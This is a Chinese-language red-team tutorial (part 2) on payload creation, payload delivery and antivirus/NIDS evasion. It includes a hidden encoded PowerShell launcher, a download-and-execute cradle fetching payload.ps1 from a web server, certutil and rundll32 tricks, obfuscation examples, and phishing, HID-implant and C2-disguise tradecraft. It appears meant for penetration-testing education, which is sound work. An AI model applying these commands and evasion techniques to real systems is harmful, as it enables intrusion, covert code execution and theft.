红队测试从0到1 - PART 2
字数 2496 2025-08-29 08:32:30
红队测试从0到1 - PART 2:有效载荷创建与投递及AV/NIDS规避技术
一、有效载荷创建技术
3.1 一句话Powershell有效载荷
- 特点:整个第一阶段经过base64编码,使用Powershell iex(Invoke Expression)执行
- 执行方式:
Powershell -W Hidden -nop -noni -enc <base64 payload> - 应用场景:可嵌入宏指令、HTA文件或作为OLE对象嵌入
- 缺点:容易被AV检测
3.2 Windows下一句话下载和执行任意代码
- 实现方式:
- Powershell
- Wscript
- mshta
- rundll32
- Wmic
- regsvr32
- MSBuild
- Powershell示例:
Powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials; iwr('http://webserver/payload.ps1')|iex"
3.3 HID有效载荷
- 适用场景:邮件投递失败或被检测时使用
- 设备选择:
- Bash bunny
- 橡皮鸭(Rubber ducky)
- 自制Arduino pro micro
- 执行方式:
- 使用不同文件扩展名(bat、SCT、lnk等)执行Powershell
- 将整个Empire Powershell有效载荷写入设备执行
- 优缺点:
- 发现机会小
- 文件落地磁盘会留下较多取证证据
3.4 不运行powershell.exe执行Powershell的方法
3.4.1 使用Powershdll
- 步骤:
- 将dll文件转换为base64:
base64 Powershdll.dll > Powershdll_b64.txt - 使用HID设备传输到受害者机器
- 解码为dll文件:
certutil -decode Powershdll_b64.txt output.dll - 执行:
rundll32 output,main "Powershell script"
- 将dll文件转换为base64:
- 执行base64编码脚本:
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
其他技术
- 使用MSBuild utility构建exe文件
- 构建不调用Powershell.exe的SCT文件
二、有效载荷投递方法
4.1 邮件投递
-
当前有效的三种方式:
- Office宏(最佳选择,多数企业默认启用)
- HTA文件(由Microsoft HTML Application Host - mshta.exe执行)
- Office DDE漏洞(已被修补,最新版Office不可用)
-
不推荐的方式:
- 浏览器漏洞(除非有最新IE 0day)
- 投递EXE(严格检查和行为监控)
- Microsoft Office OLE漏洞(90%被检测)
- Java偷渡式下载漏洞(多数被端点保护检测)
-
增强隐蔽性的技巧:
- 检查特定Windows域后才解密执行
- 检查公网IP地址确保在目标企业中执行
4.2 物理入侵/社会工程投递
4.2.1 Konboot(密码绕过工具)
- 特点:
- 装在USB驱动器中的便携式Linux系统
- 不删除或更改密码,仅临时绕过
- 商业许可证约75美元
- 域系统技巧:
- 拔掉LAN电缆,插入konboot USB重启
- 绕过密码后重新插入LAN电缆
4.2.2 HID设备
- 推荐设备:
- Rubber ducky
- Bash bunny
- Kali Nethunter(Android手机模拟HID)
- 执行方式:
- 自动打开cmd/Powershell/记事本输入有效载荷
- 创建.bat/.vbscript/.HTA文件并执行
- 最佳实践:
- 使用内存中运行的有效载荷(如Powershell Invoke-Expression)
4.2.3 网络植入(隐藏远程后门)
- 推荐设备:LAN Turtle
- 功能:
- AutoSSH/OpenVPN
- 响应程序模块捕获NTLM Hash
- 部署方式:
- 与LAN线一起插入CPU
- 使用USB充电器供电
三、AV/端点保护/NIDS规避技术
5.1 防病毒/端点逃避
5.1.1 基本原则
- 避免使用可执行文件投递有效载荷
- 使用系统自带工具:
- Powershell
- WMI
- mshta
- Wscript
- regsvr32等
5.1.2 Powershell攻击有效性
- Win10有AMSI(防恶意程序扫描接口)增加难度
- 多数企业仍使用Win7
5.1.3 混淆技术
- 推荐工具:
- Invoke-Obfuscation
- Revoke-Obfuscation
- Invoke-CradleCrafter
- Invoke-DOSfuscation
- 示例:
- 原始命令:
Write-Host 'Test Obfuscation' -Import test - 混淆后:
.("{2}{1}{0}" -f 't','s','Write-Ho')("{2}{5}{1}{3}{0}{4}" -f 'scatio','st','T','Obfu','n','e') -Import ("{1}{0}" -f 'est','t')
- 原始命令:
- 其他工具:Veil和Shellter(处理可执行文件)
5.2 NIDS逃避
5.2.1 基于签名的NIDS
- 特点:匹配已知恶意软件流量规则
- 规避方法:
- 修改C2指纹:
- C2服务器域名
- 协议
- URL
- User-Agent
- 服务器版本
- 默认页面等
- 修改C2指纹:
5.2.2 基于异常流量的NIDS
- 特点:构建正常流量规则,机器学习检测异常
规避技术:
-
选择正确的C2通信协议
- 可选协议:TCP, HTTP(s), DNS, ICMP或自定义协议
- 最佳选择:混合流量,常用协议如HTTP或DNS
- DNS限制:传输速度慢,大量加密请求可能引起怀疑
-
选择正确的C2域名
- 避免使用IP地址
- 检查域名声誉
- 优先选择:
- 医疗保健或金融类域名
- 老域名(非新购)
-
在正常流量中混合C2流量
- 增加回调时间(默认5s)
- 使用抖动和更长延迟
- 平衡操作效率与隐蔽性
-
使用带合法证书的SSL加密C2流量
- 使用正规CA签名的有效证书
- 加密整个通信过程
- 注意目标企业是否解密SSL流量进行检查
四、总结与关键点
-
红队测试是持续对抗过程:AV/NIDS逃避技术需要不断更新
-
因地制宜:根据目标安全策略选择合适的技术组合
- 示例:银行IP白名单环境下可使用DNS进行C2通信
-
准备充分是关键:红队需要全面了解防御机制工作原理才能有效规避
-
技术选择优先级:
- 有效载荷:内存执行 > 文件落地
- 投递方式:社会工程 > 纯技术攻击
- 规避技术:混淆 > 直接对抗
-
持续学习:关注安全社区最新研究和技术发展,如AMSI绕过技术等